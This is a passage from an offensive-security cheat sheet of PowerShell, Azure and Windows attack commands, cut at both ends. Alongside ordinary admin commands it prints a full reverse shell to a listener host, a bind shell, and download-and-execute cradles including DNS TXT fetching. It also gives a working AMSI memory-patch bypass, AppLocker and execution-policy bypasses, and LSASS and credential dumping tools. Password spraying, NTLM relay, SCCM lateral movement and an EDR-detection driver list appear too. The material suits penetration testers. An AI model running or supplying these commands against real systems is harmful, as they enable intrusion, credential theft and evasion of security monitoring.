Get-AzVMExtension -ResourceGroupName <resourceGroupName> -VMName <name> | Select -ExpandProperty NetworkProfile
```
### Create new vm extension
```
Set-AzVMExtension -ResourceGroupName <resourceGroupName> -ExtensionName "ExecCmd" -VMName <VMName> -Location "<location>" -Publisher Microsoft.Compute -ExtensionType CustomScriptExtension -TypeHandlerVersion 1.8 -SettingString '{"commandToExecute":"powershell <command>"}'
```
### Run command
```
Invoke-AzVMRunCommand -ScriptPath <file>.ps1 -CommandId "<someName>" -VMName "<name>" -ResourceGroupName "<name>"
```
### Run command via runbook
```
Import-AzAutomationRunbook -Name <runName> -Path <local\path\to\ps1> -AutomationAccountName <name> -ResourceGroupName <name> -Type PowerShell -Force -Verbose
Publish-AzAutomationRunbook -RunbookName <runName> -AutomationAccountName <name> -ResourceGroupName <name> -Verbose
Start-AzAutomationRunbook -RunbookName <name> -RunOn <workGroup> -AutomationAccountName <name> -ResourceGroupName <name>
```
### List visible storage accounts
```
Get-AzStorageAccount
```
### Get content of storage container
```
Get-AzStorageContainer -Context (Get-AzStorageAccount -Name <name> -ResourceGroupName <resourceGroupName>).Context
```
### List visible service apps and function apps
```
Get-AzWebApp | ?{$_.Kind -notmatch "functionapp"}
Get-AzFunctionApp
```
### Request access token for current session
```
(Get-AzAccessToken).Token
```
### Request access token for AAD Graph and Azure AD
```
Get-AzAccessToken -ResourceTypeName MSGraph
```
### Use access token and graph token
```
Connect-AzAccount -AccountId <user>@<tenant>.onmicrosoft.com -AccessToken <token> -MicrosoftGraphAccessToken <graphToken>
```
### List connections attached to Function App
```
az functionapp hybrid-connection list --name <functionAppName> --resource-group <resourceGroupName>
```
clixml
### Export powershell object to file
```
Export-Clixml <file>.xml
```
### Import powershell object from file
```
Import-Clixml <file>.xml
```
export-csv
### Export result of command as CSV into file
```
Get-Process | Export-CSV -NoTypeInformation <file>.csv
```
get-acl
### Check permission of file or directory
```
Get-Acl -Path <path> | Format-List
```
get-childitem
### Show hidden files
```
Get-ChildItem . -Force
```
### Search for transcripts
```
GCI -Path C:\* -Force -Include *transcript* -Recurse -ErrorAction SilentlyContinue
```
get-filehash
### Calculate MD5 hash of file
```
Get-FileHash C:\<file> -Algorithm MD5
```
get-gpinheritance
### Get GPO for given OU - requires Remote Server Administration Tools - default on domain controller
```
Get-GPInheritance -Target '<dinstiguishedName>'
```
### Show verbose
```
Get-GPInheritance -Target '<dinstiguishedName>' | select-object -expandproperty InheritedGpoLinks
```
get-gpppassword
### Source
https://raw.githubusercontent.com/AdrianVollmer/PowerSploit/master/Exfiltration/Get-GPPPassword.ps1
### Search on domain controller for groups.xml, scheduledtasks.xml, services.xml, datasources.xml and return plaintext password
```
Get-GPPPassword
```
get-help
### List information about the help topics
```
Get-Help *
```
### List information about a specific string
```
Get-Help <command> -full
```
### List example about how to run a cmdlet
```
Get-Help <command> -Examples
```
get-history
### Get history of executed commands
```
get-history | fl
```
get-hotfix
### Get installed hotfixes
```
get-hotfix
```
get-mdfhashes
### Source
https://raw.githubusercontent.com/xpn/Powershell-PostExploitation/master/Invoke-MDFHashes/Get-MDFHashes.ps1
https://github.com/xpn/Powershell-PostExploitation/raw/master/Invoke-MDFHashes/OrcaMDF.Framework.dll
https://github.com/xpn/Powershell-PostExploitation/raw/master/Invoke-MDFHashes/OrcaMDF.RawCore.dll
### Get hash from mdf mssql database file
```
Import-Module .\OrcaMDF.RawCore.dll
Import-Module .\OrcaMDF.Framework.dll
Import-Module .\Get-MDFHashes.ps1
Get-MDFHashes -mdf "<fullPathToFile>.mdf"
```
get-proxy-settings
### Get proxy settings using powershell
```
Get-ItemProperty -Path "Registry::HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
```
get-psdrive
### List connected drives
```
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root
```
get-wmiobject
### Show running processes
```
get-wmiobject win32_process | format-table processname,processid
```
invoke-command
### Execute command on remote host
```
Invoke-Command -ComputerName <rhost> -ScriptBlock { <command> } -Credential <domain>\<user>
```
itemproperty
### Enable rdp
```
Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server' -Name 'fDenyTSConnections' -Value 0
```
move-adobject
### Requires Remote Server Administration Tools - default on domain controller
```
Add-WindowsCapability -Online -Name Rsat.ActiveDirectory.DS-LDS.Tools~~~~0.0.1.0
Import-Module ActiveDirectory
```
### Move object to another ou
```
Move-ADObject –Identity "<distinguishedName>" -TargetPath "<distinguishedName>"
```
new-gplink
### Create new link from GPO to OU - requires Remote Server Administration Tools - default on domain controller
```
New-GPLink -Guid "<id>" -Target <distinguishedName>
```
powershell-bind-shell
### Bind shell
```
powershell -c "$listener = New-Object System.Net.Sockets.TcpListener('0.0.0.0',<lport>);$listener.start();$client = $listener.AcceptTcpClient();$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' +(pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close();$listener.Stop()"
```
powershell-download
### Download a string - DownloadString
```
(New-Object Net.WebClient).downloadString('https://<rhost>')
```
### Download a string - DownloadData
```
$str = (New-Object Net.WebClient).DownloadData('https://<rhost>'); [Text.Encoding]::UTF8.GetString($str)
```
### Download a string - ComObject
```
$ie = New-Object -ComObject InternetExplorer.Application; $ie.visible=$False; $ie.navigate('https://<rhost>'); sleep 5; $response=$ie.Document.body.innerHTML; $ie.quit(); $response -replace "<pre>","" -replace "</pre>",""
```
### Download a string - ComObject
```
$h = New-Object -ComObject Msxml2.XMLHTTP; $h.open('GET','https://<rhost>',$false); $h.send(); echo $h.responseText
```
### Download string using default proxy settings - Downloadstring
```
powershell.exe -nop -w hidden -c $t=New-Object Net.Webclient; $t.proxy=[Net.WebRequest]::GetSystemWebProxy(); $t.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials; $t.downloadstring('https://<rhost>')
```
### Download string using default proxy settings - DownloadString
```
powershell.exe -nop -w hidden -c $t=New-Object Net.Webclient; $t.Proxy.Credentials = [Net.CredentialCache]::DefaultNetworkCredentials; $t.downloadString('http://<rhost>')
```
### Download string - XML Load
```
$XmlDoc = New-Object System.Xml.XmlDocument
$XmlDoc.Load("<urlToXmlFile>")
$XmlDoc.<node>.<node>.<node>
```
### Download a file - Invoke-Web-Request
```
iwr 'https://<rhost>' -OutFile <file> -UseBasicParsing
```
### Download a file - Invoke-RestMethod
```
Invoke-RestMethod 'https://<rhost>' -OutFile <file>
```
### Download a file - Start-BitsTransfer
```
Start-BitsTransfer 'https://<rhost>' -Destination <file>
```
### Download a file - DownloadFile
```
$webClient = [Net.WebClient]::new(); $webClient.DownloadFile('https://<rhost>', '<fullPathFile>')
```
### Download a file - ComObject
```
[Net.WebRequest]::DefaultWebProxy; [Net.CredentialCache]::DefaultNetworkCredentials; $h=new-object -com WinHttp.WinHttpRequest.5.1;$h.open('GET','http://<rhost>',$false);$h.send();ie
```
### Configure TLS version
```
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::'Tls11,Tls12'
```
powershell-environment-variables
### Get all windows environment variables
```
gci env:
```
### Print specific variable
```
echo $env:userdomain
```
### Fully qualified domain name
```
echo $env:computername.$env:userdnsdomain
```
### Last error message
```
echo $Error[0]
```
### Current powershell profile
```
echo $profile
```
### Show all variables of current scope
```
Get-ChildItem Variable:\
```
### Equivalent to /dev/null
```
$null
```
### Current process id
```
$PID
```
### Status of last executed command
```
$?
```
powershell-execute-cs-binary
### Requirements
```
- Main method and class it belongs to, needs to be public
namespace NameSpaceName
{
public class Program
{
public static void Main()
{
```
### Create binary
```
$fp = "<fullPathToExe>"
$file = [System.IO.File]::ReadAllBytes($fp);
$Base = [System.Convert]::ToBase64String($file);
echo $Base
```
### Execute in memory
```
$blob = "<base64Binary>"
$load = [System.Reflection.Assembly]::Load([Convert]::FromBase64String($blob));
[NameSpaceName.Program]::Main()
```
powershell-execution-policy
### Check execution policy
```
Get-ExecutionPolicy -List | Format-Table -AutoSize
```
### Different bypass techniques
```
Echo Write-Host "<command>" | PowerShell.exe -noprofile -
Get-Content <file>.ps1 | PowerShell.exe -noprofile -
type <file>.ps1 | PowerShell.exe -noprofile -
powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('<domain>/<file>')"
Powershell -command "Write-Host '<command>'"
Powershell -c "Write-Host '<command>'"
powershell.exe -EncodedCommand $encodedCommand
Invoke-Command -scriptblock {Write-Host "<command>"}
Get-Content .<file>.ps1 | Invoke-Expression
PowerShell.exe -ExecutionPolicy Bypass -File <file>.ps1
PowerShell.exe -ExecutionPolicy UnRestricted -File <file>.ps1
PowerShell.exe -ExecutionPolicy Remote-signed -File <file>.ps1
function Disable-ExecutionPolicy {($ctx = $executioncontext.gettype().getfield("context","nonpublic,instance").getvalue( $executioncontext)).gettype().getfield("_authorizationManager","nonpublic,instance").setvalue($ctx, (new-object System.Management.Automation.AuthorizationManager "Microsoft.PowerShell"))} Disable-ExecutionPolicy <file>.ps1
Set-ExecutionPolicy Bypass -Scope Process -Force
Set-Executionpolicy -Scope CurrentUser -ExecutionPolicy UnRestricted -Force
```
powershell-history
### Get path to history file
```
(Get-PSReadlineOption).HistorySavePath
```
### Default path
```
C:\Users\<user>\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
```
### Disable powershell history
```
Set-PSReadlineOption -HistorySaveStyle SaveNothing
```
powershell-language-restrictions
### Show language mode
```
$ExecutionContext.SessionState.LanguageMode
```
### Set full language mode
```
$ExecutionContext.SessionState.LanguageMode = "FullLanguage"
```
### Set constrained language mode
```
$ExecutionContext.SessionState.LanguageMode = "ConstrainedLanguage"
```
### Bypass language mode using powershell version 2
```
powershell -v 2 -exec bypass
```
### Show powershell version
```
$PSVersionTable
```
### Set constrained language mode (not the recommended way - 0 for FullLanguage)
```
[Environment]::SetEnvironmentVariable('__PSLockdownPolicy', '4', 'Machine')
```
powershell-nslookup-execution
### Download command using nslookup and DNS TXT records
```
$s=echo (nslookup -q=txt <subdomain>.<domain>.<tld>)[-1].Trim();$s.SubString(1,$s.Length-2)>C:\temp\file;type C:\temp\file|powershell
```
powershell-remote
### Uses port 5985,5986 - activate remote powershell
```
Enable-PSRemoting -Force
```
### Connect to remote device and execute single command
```
Invoke-Command -ComputerName <rhost> -ScriptBlock { <command> } -credential <user>
```
### Execute local script remotely
```
Invoke-Command -ComputerName <rhost> -ScriptBlock { <command> } -credential <user> -FilePath C:\<localScript>.ps1
```
### Start remote session
```
Enter-PSSession -ComputerName <rhost> -Credential <user>
```
powershell-reverse-shell
### Start reverse shell
```
$client = New-Object System.Net.Sockets.TCPClient('<lhost>',<lport>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush();}$client.Close();
```
psreadlineoption
### Get location of powershell history
```
Get-PSReadLineOption
```
securestring
### Convert secure string to encrypted string
```
$secure = Read-Host -AsSecureString
$encryptedString = ConvertFrom-SecureString -SecureString $secure
```
### Convert encrypted string to secure string
```
ConvertTo-SecureString -String $encryptedString
```
### Convert plain text string to a secure string
```
$secString = ConvertTo-SecureString "<password>" -AsPlainText -Force
```
### Run command with credential
```
$scp = ConvertTo-SecureString '<password>' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('<domain>\\<user>', $scp)
<command> -Credential $cred
```
select
# Expand nested property
```
(SomeCommand | Select -ExpandProperty <firstProperty>).<secondProperty>
```
select-string
### Grep for string in current directory (case sensitive and recursively)
```
Select-String <string> * -CaseSensitive -Recurse 2> $null
```
### Grep line before and after matching line
```
Select-String <string> * -Context 1,1
```
set-gpprefregistryvalue
### Set a new registry value for specific GPO, requires Remote Server Administration Tools - default on domain controller
```
Set-GPPrefRegistryValue -Name '<gpoName>' -Context Computer -Action Create -Key 'HKLM\Software\Microsoft\Windows\CurrentVersion\Run' -ValueName '<name>' -Value 'powershell -c <command>' -Type ExpandString
```
set-winuserlanguagelist
### Set keyboard layout to german
```
Set-WinUserLanguageList de-DE -Force
```
Security & Exploitation
accesschk
### Source
https://live.sysinternals.com/accesschk.exe
https://live.sysinternals.com/accesschk64.exe
https://github.com/ankh2054/windows-pentest/blob/master/Privelege/accesschk-2008-vista.exe
https://github.com/ankh2054/windows-pentest/blob/master/Privelege/accesschk-2003-xp.exe
### Get all services with vulnerable permission
```
accesschk.exe -uwcqv "Everyone" * /accepteula
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -uwcqv "Users" * /accepteula
```
ads-applocker-bypass
## Bypass applocker using alternate data streams
### Copy malicious exe into the locked directory (current working directory must be one level above the locked directory)
```
type <path\to\file.exe> > .\<lockedDirectory>:<file.exe>
```
### Execute
```
wmic process call create '"%CD%\<lockedDirectory>:<file.exe>"'
```
amsi
## AMSI (Anti-Malware Scan Interface)
### Source
https://www.blazeinfosec.com/post/tearing-amsi-with-3-bytes
### Win32 API functions (defined in amsi.dll)
```
AmsiInitalize
AmsiOpenSession
AmsiScanString
AmsiScanBuffer
AmsiCloseSession
AmsiUninitialize
```
### Registry key
```
HKCU\Software\Microsoft\Windows Script\Settings\AmsiEnable
```
### AMSI bypass
```
function lookFuncAddr{
Param($moduleName, $functionName)
$assem = ([AppDomain]::CurrentDomain.GetAssemblies() |
Where-Object {$_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll')}).GetType('Microsoft.Win32.UnsafeNativeMethods')
$tmp=@()
$assem.GetMethods() | ForEach-Object{If($_.Name -eq 'GetProcAddress') {$tmp+=$_}}
return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null, @($moduleName)), $functionName))
}
function getDelegateType{
Param(
[Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,
[Parameter(Position = 1)] [Type] $delType = [Void]
)
$type = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')),
[System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType',
'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$type.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $func).SetImplementationFlags('Runtime, Managed')
$type.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType, $func).SetImplementationFlags('Runtime, Managed')
return $type.CreateType()
}
[IntPtr]$amsiAddr = lookFuncAddr amsi.dll AmsiOpenSession
$oldProtect = 0
$vp=[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((lookFuncAddr kernel32.dll VirtualProtect),
(getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32].MakeByRefType()) ([Bool])))
$vp.Invoke($amsiAddr, 3, 0x40, [ref]$oldProtect)
$3b = [Byte[]] (0x48, 0x31, 0xC0)
[System.Runtime.InteropServices.Marshal]::Copy($3b, 0, $amsiAddr, 3)
$vp.Invoke($amsiAddr, 3, 0x20, [ref]$oldProtect)
```
amsi-provider
### Get amsi provider
```
$A = Get-ChildItem 'HKLM:\SOFTWARE\Microsoft\AMSI\Providers' -Recurse
$A -match '[0-9A-Fa-f\-]{36}'
$Matches.Values | ForEach-Object {Get-ChildItem "HKLM:\SOFTWARE\Classes\CLSID\{$_}" | Format-Table -AutoSize}
```
amsiTrigger
### Source
https://github.com/RythmStick/AMSITrigger/releases/download/v3/AmsiTrigger_x64.exe
### Identify malicious strings
```
AmsiTrigger_x64.exe -u http://<rhost>/<script>.ps1
```
applocker-bypass
### InstallUtil
```
# compile
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /reference:"c:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /out:<resultFile>.exe <sourceFile>.cs
```
### Run
```
C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U <resultFile>.exe
```
applocker-policy
### Show applocker policy
```
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
```
### Possibly writeable paths
```
C:\Windows\Tasks
C:\Windows\Temp
C:\windows\tracing
C:\Windows\Registration\CRMLog
C:\Windows\System32\FxsTmp
C:\Windows\System32\com\dmp
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
C:\Windows\System32\spool\PRINTERS
C:\Windows\System32\spool\SERVERS
C:\Windows\System32\spool\drivers\color
C:\Windows\System32\Tasks\Microsoft\Windows\SyncCenter
C:\Windows\System32\Tasks_Migrated (after peforming a version upgrade of Windows 10)
C:\Windows\SysWOW64\FxsTmp
C:\Windows\SysWOW64\com\dmp
C:\Windows\SysWOW64\Tasks\Microsoft\Windows\SyncCenter
C:\Windows\SysWOW64\Tasks\Microsoft\Windows\PLA\System
```
certify
### Source
https://github.com/GhostPack/Certify
https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-Certify.ps1
### List certificate authorities
```
Certify.exe cas
```
### Get information about certificate environment and find vulnerable certificates (enrollment rights)
```
Certify.exe find /vulnerable
Invoke-Certify find /vulnerable
```
### Request certificate (altUser is the user to impersonate) - use /machine to switch into the current machine context
```
Certify.exe request /ca:"<fqdnCertificateServer>" /template:"<templateName>" /altname:"<altUser>"
```
### Convert pem file to pfx file using linux
```
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out <file>.pfx
```
### Impersonate user
```
Rubeus.exe asktgt /user:<altUser> /certificate:<file>.pfx /ptt
```
credential-guard
### Note
```
Credentials for local accounts in SAM and Service account credentials from LSA Secrets are not protected by credential guard.
Only available on the Windows 10 Enterprise edition and Server 2016.
```
### If credential guard is running, the following should return some output
```
$DevGuard = Get-CimInstance –ClassName Win32_DeviceGuard –Namespace root\Microsoft\Windows\DeviceGuard
if ($DevGuard.SecurityServicesConfigured -contains 1) {"Credential Guard configured"}
if ($DevGuard.SecurityServicesRunning -contains 1) {"Credential Guard running"}
```
edrcheck
### Source
https://raw.githubusercontent.com/BankSecurity/Red_Team/master/Discovery/Check_EDR_Presence.ps1
### Check EDRs by known drivers
```
Invoke-EDRCheck
```
### Drivers
```
Altiris Symantec; atrsdfw.sys
AVG Technologies; avgtpx86.sys
AVG Technologies; avgtpx64.sys
Avast; naswSP.sys
BitDefender SRL; edrsensor.sys
Bitdefender; bddci.sys
Carbon Black; CarbonBlackK.sys
Carbon Black; parity.sys
Cisco; csacentr.sys
Cisco; csaenh.sys
Cisco; csareg.sys
Cisco; csascr.sys
Cisco; csaav.sys
Cisco; csaam.sys
CJSC Returnil Software; rvsavd.sys
Comodo Security; cfrmd.sys
Comodo Security; cmdccav.sys
Comodo Security; cmdguard.sys
Comodo Security; CmdMnEfs.sys
Comodo Security; MyDLPMF.sys
CrowdStrike; im.sys
CrowdStrik; CSDeviceControl.sys
CrowdStrike; csagent.sys
CyberArk Software; CybKernelTracker.sys
Cybereason; CRExecPrev.sys
Cylance Inc.; CyOptics.sys
Cylance Inc.; CyProtectDrv32.sys
Cylance Inc.; CyProtectDrv64.sys.sys
Dell Secureworks; groundling32.sys
Dell Secureworks; groundling64.sys
Endgame; esensor.sys
ESET; edevmon.sys
ESET; ehdrv.sys
FireEye; FeKern.sys
FireEye; WFP_MRT.sys
F-Secure; xfsgk.sys
F-Secure; fsatp.sys
F-Secure; fshs.sys
Hexis Cyber Solutions; HexisFSMonitor.sys
Kaspersky; klifks.sys
Kaspersky; klifaa.sys
Kaspersky; Klifsm.sys
Malwarebytes; mbamwatchdog.sys
McAfee; mfeaskm.sys
McAfee; mfencfilter.sys
Panda Security; PSINPROC.SYS
Panda Security; PSINFILE.SYS
Panda Security; amfsm.sys
Panda Security; amm8660.sys
Panda Security; amm6460.sys
Raytheon Cyber Solutions; eaw.sys
SAFE-Cyberdefense; SAFE-Agent.sys
SentinelOne; SentinelMonitor.sys
Sophos; SAVOnAccess.sys
Sophos; savonaccess.sys
Sophos; sld.sys
Symantec; pgpwdefs.sys
Symantec; GEProtection.sys
Symantec; diflt.sys
Symantec; sysMon.sys
Symantec; ssrfsf.sys
Symantec; emxdrv2.sys
Symantec; reghook.sys
Symantec; spbbcdrv.sys
Symantec; bhdrvx86.sys
Symantec; bhdrvx64.sys
Symantec; SISIPSFileFilter
Symantec; symevent.sys
Symantec; vxfsrep.sys
Symantec; VirtFile.sys
Symantec; SymAFR.sys
Symantec; symefasi.sys
Symantec; symefa.sys
Symantec; symefa64.sys
Symantec; SymHsm.sys
Symantec; evmf.sys
Symantec; GEFCMP.sys
Symantec; VFSEnc.sys
Symantec; pgpfs.sys
Symantec; fencry.sys
Symantec; symrg.sys
Verdasys Inc; ndgdmk.sys
Webroot Software; ssfmonm.sys
```
fakelogonscreen
### Source
https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-FakeLogonScreen.ps1
https://github.com/bitsadmin/fakelogonscreen
### Create fake lock screen and print credential to console
```
Invoke-FakeLogonScreen
```
forkdump
### Source
https://github.com/D4stiny/ForkPlayground
### Use OpenProcess(PROCESS_CREATE_PROCESS, FALSE, ProcessId) and NtCreateProcessEx functions to dump lsass process
```
ForkDump.exe <outfile>.dmp (Get-Process lsass).id
```
handlekatz
### Source
https://github.com/codewhitesec/HandleKatz
### Dump lsass process using ReactOS MiniDumpWriteDumpA as Position Independent Code
```
loader.exe --pid:<pid> --outfile:<outfile>.dmp
```
### Decode resulting dump
```
python3 Decoder.py -input <lsassDump>.dmp -output <outfile>.dmp
```
internalmonologue
### Source
https://github.com/eladshamir/Internal-Monologue
### Dump ntlm hash by impersonating user process
```
InternalMonologue.exe
```
juicypotatong
### Source
https://github.com/antonioCoco/JuicyPotatoNG
### Open System Shell - using LogonUser() API call and SSPI hook on AcceptSecurityContext() function
```
JuixyPotatoNG.exe -t * -p "C:\Windows\System32\cmd.exe" -a "/c whoami > whoami.txt"
```
krbrelayup
### Source
https://github.com/Dec0ne/KrbRelayUp
https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-KrbRelayUp.ps1
### Relay ldap request to local Service Manager, -c = create new machine account (requires LDAP Signing not to be enforced)
```
KrbRelayUp.exe relay -d <domain> -c -cn <newComputer> -cp <newPassword>
```
### Request TGS to create new service running as SYSTEM
```
KrbRelayUp.exe spawn -d <domain> -cn <newComputer> -cp <newPassword>
```
### Request TGS to create new service running as SYSTEM and execute given binary
```
Invoke-Invoke-KrbRelayUp -Command 'spawn -d <domain> -cn <computername> -cp <computerpassword> -sc C:\path\executable.exe'
```
### Start SYSTEM cmd shell, -f = force shadow (clear msDS-KeyCredentialLink before adding new shadow creds)
```
KrbRelayUp.exe full -m shadowcred -f
```
### Relay machine kerberos auth to ADCS Web Enrollment (instead LDAP), -ca = default is domain controller
```
KrbRelayUp.exe full -m adcs -ca <certificateAuthorityFqdn>
```
lazagne
### Source
https://github.com/AlessandroZ/LaZagne/releases/download/2.4.3/lazagne.exe
### Dump all sorts of different credentials
```
laZagne.exe all
```
lyncsniper
### Source
https://raw.githubusercontent.com/mdsecresearch/LyncSniper/master/LyncSniper.ps1
### Authenticate with single user
```
Invoke-Authenticate -Username <user>@<domainIntern> -Password <password> -baseurl <lyncdiscoverUrl> -verbose
```
### Password spray (return 400 if credentials are wrong)
```
Invoke-LyncSpray -Delay 5000 -UserList <userFile> -Password <password> -AutoDiscoverURL <lyncdiscoverUrl> -verbose
```
mailsniper
### Source
https://raw.githubusercontent.com/dafthack/MailSniper/master/MailSniper.ps1
### Passwordspray
```
Invoke-PasswordSprayOWA -ExchHostname <rhost> -UserList <userFile> -Password <password>
```
### Extract address book
```
Get-GlobalAddressList -ExchHostname <rhost> -UserName <domain>\<user> -Password <password> -OutFile <outFile>
```
### Search for passwords inside last 100 e-mails for the current user session
```
Invoke-SelfSearch -Mailbox <user>@<domain> -Terms "*password*","*secret*","*key*"
```
### Find mailboxes with permissions set to allow other users access
```
Invoke-OpenInboxFinder -EmailList .\<file>.txt
```
malsccm
### Source
```
https://github.com/nettitude/MalSCCM
```
### List possible targets for lateral movement using SCCM
```
MalSCCM.exe inspect /computers
```
### Check whether the Distribution Point is also the Primary Site (central management location)
```
MalSCCM.exe inspect /server:<distributionPointServerFqdn> /groups
```
### List Computers, Groups, PrimaryUser, Forest, Packages, Applications and Deployments
```
MalSCCM.exe inspect /all /server:<distributionPointServerFqdn>
```
### Create new group for deployment
```
MalSCCM.exe group /create /groupname:<newGroup> /grouptype:device
```
### Add target computer to group
```
MalSCCM.exe group /addhost /groupname:<newGroup> /host:<computer>
```
### Add application and upload binary that will be executed as SYSTEM
```
MalSCCM.exe app /create /name:<appName> /uncpath:"\\<distributionPointServerFqdn>\SCCMContentLib$\<file>.exe"
```
### Check if application exists
```
MalSCCM.exe inspect /applications
```
### Deploy application
```
MalSCCM.exe app /deploy /name:<appName> /groupname:<newGroup> /assignmentname:<deploymentName>
```
### Initiate checkin (trigger installation as soon as possible)
```
MalSCCM.exe checkin /groupname:<newGroup>
```
### Check deployment status
```
MalSCCM.exe inspect /deployments
```
### Remove deployments of applications
```
MalSCCM.exe app /cleanup /name:<appName>
```
mark-of-the-web
### Read the NTFS ADS (Alternate Data Stream) of a file
```
Get-Content .\<file> -Stream Zone.Identifier
```
### Possible ZoneId values
```
0. - Local Computer
1. - Local Intranet
2. - Trusted Sites
3. - Internet
4. - Restricted Sites
```
mfasweep
### Source
https://raw.githubusercontent.com/dafthack/MFASweep/master/MFASweep.ps1
### Check if mfa is enabled for:
```
Microsoft Graph API - exploit using Import-Module MSOnline; Connect-MsolService or $credential = Get-Credential; Connect-MsolService -Credential $credential
Azure Service Managment API - exploit using Import-Module Az; Connect-AzAccount or $credential = Get-Credential; Connect-AzAccount -Credential $credential
Microsoft 365 Exchange Web Services - exploit using (mailsniper) Invoke-SelfSearch -Mailbox <user>@<domain> -ExchHostname outlook.office365.com -Remote
Microsoft 365 Web Portal - exploit using browser https://outlook.office365.com or https://portal.azure.com
Microsoft 365 Web Portal /w Mobile User Agent - exploit by changing the user agent string https://login.microsoftonline.com
Microsoft 365 ActiveSync - exploit using build in mail application in windows
```
### Check mfa settings without trigger MFA request
```
Invoke-MFASweep -Username <user>@<domain> -Password <password>
```
mirrordump
### Source
https://github.com/CCob/MirrorDump
### Compile and load dynamic LSA plugin, called <name>.dll, -l = limit memory usage to 100MB
```
MirrorDump.exe -f "<outfile>.zip" -d "<name>.dll" -l 1073741824
```
msbuild
### Build c# project using command line
```
C:\Windows\Microsoft.Net\Framework64\v4.0.30319\MSBuild.exe <project>.sln /t:Build
```
msiexec
### Install
```
msiexec /qb /i <file>.msi
```
### Uninstall
```
msiexec /qb /x <file>.msi
```
petitpotam
### Source
https://raw.githubusercontent.com/S3cur3Th1sSh1t/Creds/master/PowershellScripts/Invoke-Petitpotam.ps1
https://github.com/topotam/PetitPotam
### Find certificate autthority
```
certutil.exe
```
### Set up ntlm relay (forward incoming authentication from domain controller to certificate authority)
```
python3 ntlmrelayx.py -t http://<certificateAuthority>/certsrv/certfnsh.asp -smb2support --adcs
```
### Trigger authentication from domain controller
```
Invoke-Petitpotam -Target <domainController> -CaptureHost <lhost>
```
### Request kerberos TGT
```
Rubeus.exe asktgt /outfile:<file> /user:<domainController> /ptt /certificate:<base64Certificate>
```
ppldump
### Source
https://github.com/itm4n/PPLdump
### Dump RunAsPPL protected lsass process
```
PPLdump.exe lsass.exe <file>.dmp
```
privilege-escalation
## Automate search for vulnerabilities
https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/raw/master/winPEAS/winPEASexe/binaries/Release/winPEASany.exe
https://raw.githubusercontent.com/AdrianVollmer/PowerSploit/master/Privesc/PowerUp.ps1 - Invoke-PrivescAudit
https://raw.githubusercontent.com/rasta-mouse/Sherlock/master/Sherlock.ps1 - Find-AllVulns
https://github.com/hlldz/dazzleUP/releases/download/v1.0/dazzleUP.x64.exe
https://raw.githubusercontent.com/M4ximuss/Powerless/master/Powerless.bat
https://raw.githubusercontent.com/carlospolop/privilege-escalation-awesome-scripts-suite/master/winPEAS/winPEASbat/winPEAS.bat
https://github.com/Flangvik/SharpCollection/raw/master/NetFramework_4.7_x86/Seatbelt.exe
https://github.com/Flangvik/SharpCollection/raw/master/NetFramework_4.7_x86/Watson.exe
## Juicy Potato
https://github.com/ohpe/juicy-potato/releases/download/v0.1/JuicyPotato.exe
https://github.com/ivanitlearning/Juicy-Potato-x86/releases/download/1.2/Juicy.Potato.x86.exe
```
needs SeImpersonate or SeAssignPrimaryToken privilege
whoami /priv
```
### Trick NT AUTHORITY\SYSTEM into authenticating via NTLM to a TCP endpoint under control, MitM this authentication and impersonate the token
```
.\JuicyPotato.exe -l <port> -p <reverseConnection>.exe -c {4991d34b-80a1-4291-83b6-3328366b9097} -t *
```
### Get CLSID
https://raw.githubusercontent.com/ohpe/juicy-potato/master/CLSID/GetCLSID.ps1
https://ohpe.it/juicy-potato/CLSID
## Scheduled Tasks
### Are there folder with full permissions
```
